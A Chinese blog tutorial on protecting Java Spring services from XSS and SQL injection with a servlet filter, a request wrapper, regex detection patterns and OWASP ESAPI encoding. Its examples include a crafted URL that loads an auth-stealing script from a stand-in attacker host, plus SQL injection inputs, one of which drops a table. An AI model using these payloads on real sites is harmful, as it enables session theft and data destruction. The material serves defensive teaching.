预防XSS,这几招管用

如何有效预防XSS?这几招管用!!!-LMLPHP

大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:

XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案

XSS 案例

不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆

案例一

Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:

  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。
  2. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为 http://bobssite.org/search?q=puppies 这是完全正常的行为。
  3. 但是,当她提交异常搜索查询时,例如 <script type ='application / javascript'> alert('xss'); </ script>
    • 出现一个警告框(表示“xss”)。
    • 该页面显示“未找到”,以及带有文本“xss”的错误消息。
    • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 这是一个可利用的行为

Mallory制作了一个利用此漏洞的URL:

  1. 她创建了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。她选择使用百分比编码 encode ASCII字符,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,这样读者就无法立即破译这个恶意 URL
  2. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”

案例二

当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。
请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。 该变量是从用户输入(getRequestString)获取的:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

当用户输入 userId = 105 OR 1=1,这时 SQL 会是这个样子:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

OR 条件始终为 true,这样就有可能获取全部用户信息
如果用户输入 userId = 105; DROP TABLE Suppliers ,这时 SQL 语句会是这样子

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

这样 Suppliers 表就被不知情的情况下删除掉了

通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:

  1. 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)
  2. 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)
  3. 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节
    本文主要提供第 2 种方式的解决方案

解决方案

先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?

Spring AOP

使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点😂),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?

HttpMessageConverter

请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter 并重写 readInternal 方法:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
    return super.readInternal(clazz, inputMessage);
}

获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?

Filter

Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章
我们有两种方式自定义我们的 Filter

  1. 实现 javax.servlet.Filter 接口
  2. Spring 环境下继承 org.springframework.web.filter.OncePerRequestFilter 抽象类
    这里采用第二种方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String userInput = request.getParameter("param");
        if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
            throw new RuntimeException();
        }
        String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
        if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
            throw new RuntimeException();
        }
        filterChain.doFilter(request, response);
    }
}

然后注册 Filter

@Bean
public FilterRegistrationBean filterRegistrationBean() {
    FilterRegistrationBean registration = new FilterRegistrationBean();
    registration.setFilter(globalSecurityFilter());
    //URL 过滤 pattern 设置
    registration.addUrlPatterns(validatePath + "/*");
    registration.setOrder(5);
    return registration;
}

@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
    return new GlobalSecurityFilter();
}

这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:

  1. 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达
  2. 调用 request.getInputStream()读取流,只能读取一次,调用责任链后续 filter 会导致 request.getInputStream() 内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看 不得不知的责任链设计模式
  3. 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富
    我们需要通过 HttpServletRequestWrapper 完成流的多次读取,当你看到这个名称 XXXWrapper,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:
    如何有效预防XSS?这几招管用!!!-LMLPHP

HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {

    //将读取的流内容存储在 body 字符串中
    private final String body;

    //定义Pattern数组,用于正则匹配,可添加其他pattern规则至此
    private static Pattern[] patterns = new Pattern[]{
            // Script fragments
            Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
            // src='...'
            Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // lonely script tags
            Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
            Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // eval(...)
            Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // expression(...)
            Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // javascript:...
            Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
            // vbscript:...
            Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),

            //在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码
    };


    /**
    *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中
    */
    public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
        super(servletRequest);

        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = null;
        try {
            InputStream inputStream = servletRequest.getInputStream();
            if (inputStream != null) {
                bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
                char[] charBuffer = new char[128];
                int bytesRead = -1;
                while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
                    stringBuilder.append(charBuffer, 0, bytesRead);
                }
            } else {
                stringBuilder.append("");
            }
        } catch (IOException ex) {
            throw ex;
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException ex) {
                    throw ex;
                }
            }
        }
        //将requestBody内容以字符串形式存储在变量body中
        body = stringBuilder.toString();
        log.info("过滤和替换前,requestBody 内容为: 【{}】", body);
    }

    /**
     * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流
     * @return
     * @throws IOException
     */
    @Override
    public ServletInputStream getInputStream() throws IOException {
        String encodedBody = stripXSS(body);
        log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody);

        final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
        ServletInputStream servletInputStream = new ServletInputStream() {
            @Override
            public int read() throws IOException {
                return byteArrayInputStream.read();
            }

            @Override
            public boolean isFinished() {
                return byteArrayInputStream.available() == 0;
            }

            @Override
            public boolean isReady() {
                return true;
            }

            @Override
            public void setReadListener(ReadListener readListener) {

            }
        };
        return servletInputStream;
    }

    /**
     * 调用该方法,可以多次获取 requestBody 内容
     * @return
     */
    public String getBody() {
        return this.body;
    }

    @Override
    public BufferedReader getReader() throws IOException {
        return new BufferedReader(new InputStreamReader(this.getInputStream()));
    }

    /**
     * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组
     * @param parameter
     * @return
     */
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);

        if (values == null) {
            return null;
        }

        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }

        return encodedValues;
    }

    /**
     * 获取单个请求参数
     * @param parameter
     * @return
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);

        return stripXSS(value);
    }

    /**
     * 获取请求头信息
     * @param name
     * @return
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }

    /**
     * 标准过滤和替换方法
     * @param value
     * @return
     */
    private String stripXSS(String value){
        if (value != null) {
            // 使用 ESAPI 避免 encoded 的代码攻击
            value = ESAPI.encoder().canonicalize(value, false, false);
            value = patternReplace(value);
        }
        return value;
    }

    /**
    * 根据 Pattern 替换字符
    */
    private String patternReplace(String value){
        if (StringUtils.isNotBlank(value)){
            // 避免null
            value = value.replaceAll("\0", "");

            // 根据Pattern匹配到的字符,做""替换
            for (Pattern scriptPattern : patterns){
                value = scriptPattern.matcher(value).replaceAll("");
            }
        }
        return value;
    }

}

至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中

GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);

上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部分内容,来看代码:

ESAPI.encoder().canonicalize(value, false, false);

这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?
ESAPI.encoder() 构造出默认的 DefaultEncoder, 查看该类发现:

/**
 * Instantiates a new DefaultEncoder
 */
private DefaultEncoder() {
    codecs.add( htmlCodec );
    codecs.add( percentCodec );
    codecs.add( javaScriptCodec );
}

其中 javaScriptCodec 是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看 Encoder 接口,找到下面方法:

String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);

通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:

List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));

所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中

/**
 * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec
 * @param value
 * @return
 */
private String stripXSSRequestBody(String value){
    if (value != null) {
        List codecs = new ArrayList(4);
        codecs.add( new HTMLEntityCodec() );
        codecs.add( new PercentCodec());
        DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
        // 使用 ESAPI 避免 encoded 的代码攻击
        value = defaultEncoder.canonicalize(value, false, false);
        value = patternReplace(value);
    }
    return value;
}

解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的 getParameterValues 方法中使用如下方法:

/**
 * 防Sql注入,多用于带参数查询
 * @param value
 * @return
 */
private String stripXSSSql(String value) {
    Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
    if (value != null) {
        // 使用 ESAPI 避免 encoded 的代码攻击
        value = ESAPI.encoder().canonicalize(value, false, false);

        value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
    }
    return value;
}

ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释
问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字校验,文件后缀校验,文件大小校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为 multipart/form-data 的请求

String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
    filterChain.doFilter(request, response);
}else {
    GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
    filterChain.doFilter(xssHttpServletRequestWrapper, response);
}

当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.

ESAPI引入方式

gradle 方式

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'

maven 方式

<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.0.1</version>
</dependency>

resources 根目录下添加 ESAPI.properties 文件和 validation.properties 两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了,文件内容可以通过下载 ESAPI source 获取,也可以从 Demo 下载地址中获取

灵魂追问

  1. 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?
  2. 为什么单纯校验文件的后缀是不安全的校验方式?
  3. 你看过「黑客帝国」吗? (该问题纯属搞笑)

那些可以提高效率的工具

如何有效预防XSS?这几招管用!!!-LMLPHP

Key Promoter X

Key Promoter X 是 IntelliJ IDEA 的一个学习快捷键的工具,当你用鼠标在 IDE 中点击某些功能,Key Promoter X 会在 IDE 右下角提示你应该用哪种快捷键代替,如果当前操纵没有设置相应快捷键,你也可以通过它快速设置,提高操作效率
如何有效预防XSS?这几招管用!!!-LMLPHP


如何有效预防XSS?这几招管用!!!-LMLPHP

Demo 代码获取

06-30 21:24